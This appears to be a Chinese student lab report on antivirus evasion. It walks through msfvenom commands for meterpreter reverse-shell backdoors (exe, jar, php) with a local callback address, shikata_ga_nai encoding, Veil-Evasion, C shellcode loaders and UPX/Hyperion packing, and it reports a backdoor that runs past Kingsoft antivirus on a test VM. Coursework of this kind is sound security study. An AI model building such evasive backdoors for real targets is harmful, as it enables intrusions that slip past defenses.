免杀原理与实践说明
一、实验说明
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 任务二:通过组合应用各种技术实现恶意代码免杀(1分)
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
- 改变特征码:
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:
可以看出,39款杀软中有28款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
指令进行多次编码,再使用virscan.org进行扫描,结果如下所示:
见鬼了,多次编码之后反而报毒的软件多了一款????可见单纯依靠多次编码之后的后门,还是会被大多数杀软发现并清理的。
msfvenom生成jar文件
生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> bd_java.jar
生成文件如下所示:
扫描结果如下:
msfvenom生成php文件
生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> 20165314_backdoor.php
生成文件如下所示:
扫描结果如下:
使用veil-evasion生成后门程序及检测
1、启动evil,选择evasion,指定payload为第七号即c/meterpreter/rev_tcp.py
,选择设置好回连的IP地址和端口号后,生成后门文件:
2、放到virscan.org上扫描一下:
比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。
注入Shellcode并执行
1、生成的shellcode如下图所示:
2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:
可以成功获取了windows权限。
3、不过,还是会被杀毒软件发现。
进行加壳尝试
压缩壳
- 使用UPX对生成的后门程序加壳:
- 扫描结果也比较乐观:
7、测试仍然可用:
加密壳
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录 - 进入目录
/usr/share/windows-binaries/hyperion/
- 输入命令
wine hyperion.exe -v bd_upxed.exe bd_upxed_hyperion.exe
进行加壳
- 测试结果
任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀
- 任务成功截图:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
受害者为win7虚拟机,使用金山毒霸,版本如下:
作案现场:
不在场证明:
至此,本周的三个实验,结束咯(束咯(咯~))!!
实验总结与体会
在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在展开过程中在16%、25%、44%都有卡住,我重复安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,但是我们现在学到的两种壳还是很容易被一些杀毒大厂识破。
开启杀软能绝对防止电脑中恶意代码吗?
肯定不行啊要有绝对用我们学这门课干啥呀?目前市面上的杀软采用的模式无非就是按照已知恶意代码的各方面特征进行匹配,好比按图索骥,这种方式只能对已有的恶意代码及由其衍生而来的次生代码进行甄别,但对于新开发的恶意代码,拥有全新的代码特征、行为模式,就无法被即时识别,我们学这门课的目的也就是从学习从攻击者角度进行思考、行动,从而减少恶意代码攻击成功的可能。